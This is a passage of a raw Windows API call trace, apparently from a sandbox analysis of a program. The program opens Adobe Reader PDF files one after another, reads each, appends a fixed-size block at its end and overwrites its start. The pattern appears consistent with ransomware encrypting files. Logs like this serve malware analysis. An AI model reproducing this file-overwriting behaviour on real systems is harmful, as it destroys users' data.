lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.962] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x16057 [0031.962] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.962] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.962] ReleaseMutex (hMutex=0x128) returned 1 [0031.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0031.962] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.964] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x15057 [0031.964] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.965] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x15057 [0031.965] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.966] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.966] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.966] CloseHandle (hObject=0x190) returned 1 [0031.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.967] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.967] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x10ab0 [0031.967] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.967] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.967] ReleaseMutex (hMutex=0x128) returned 1 [0031.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0031.968] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.969] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xfab0 [0031.969] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.971] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xfab0 [0031.971] WriteFile (in: hFile=0x190, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.972] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.972] WriteFile (in: hFile=0x190, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.972] CloseHandle (hObject=0x190) returned 1 [0031.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x592a [0031.973] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.973] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.973] ReleaseMutex (hMutex=0x128) returned 1 [0031.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0031.973] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.061] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x492a [0032.062] ReadFile (in: hFile=0x190, lpBuffer=0x25c9e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c9e08*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.062] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x492a [0032.062] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.062] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.062] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.062] CloseHandle (hObject=0x190) returned 1 [0032.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.063] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.063] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x5891 [0032.063] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.064] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.064] ReleaseMutex (hMutex=0x128) returned 1 [0032.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.064] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.064] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.065] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4891 [0032.065] ReadFile (in: hFile=0x190, lpBuffer=0x25c9e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c9e08*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.069] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4891 [0032.069] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.069] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.069] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0032.069] CloseHandle (hObject=0x190) returned 1 [0032.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.070] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.070] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x12696 [0032.070] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.070] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.070] ReleaseMutex (hMutex=0x128) returned 1 [0032.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.070] ReadFile (in: hFile=0x190, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.073] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x11696 [0032.073] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.074] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x11696 [0032.075] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.075] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.075] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.075] CloseHandle (hObject=0x190) returned 1 [0032.076] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.077] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.077] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x8c96 [0032.077] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.077] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.077] ReleaseMutex (hMutex=0x128) returned 1 [0032.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.078] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.078] ReadFile (in: hFile=0x190, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.081] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7c96 [0032.081] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.083] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x7c96 [0032.083] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.083] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.083] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.084] CloseHandle (hObject=0x190) returned 1 [0032.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.085] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.085] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x322cc [0032.085] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.085] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.085] ReleaseMutex (hMutex=0x128) returned 1 [0032.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.085] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78654, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0032.085] ReadFile (in: hFile=0x190, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.089] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x312cc [0032.089] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.092] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x312cc [0032.092] WriteFile (in: hFile=0x190, lpBuffer=0x1df0e18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0e18*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.092] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.092] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.092] CloseHandle (hObject=0x190) returned 1 [0032.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.096] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.096] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xcadf [0032.096] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.096] ReleaseMutex (hMutex=0x128) returned 1 [0032.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.096] ReadFile (in: hFile=0x190, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.101] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xbadf [0032.101] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.102] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xbadf [0032.102] WriteFile (in: 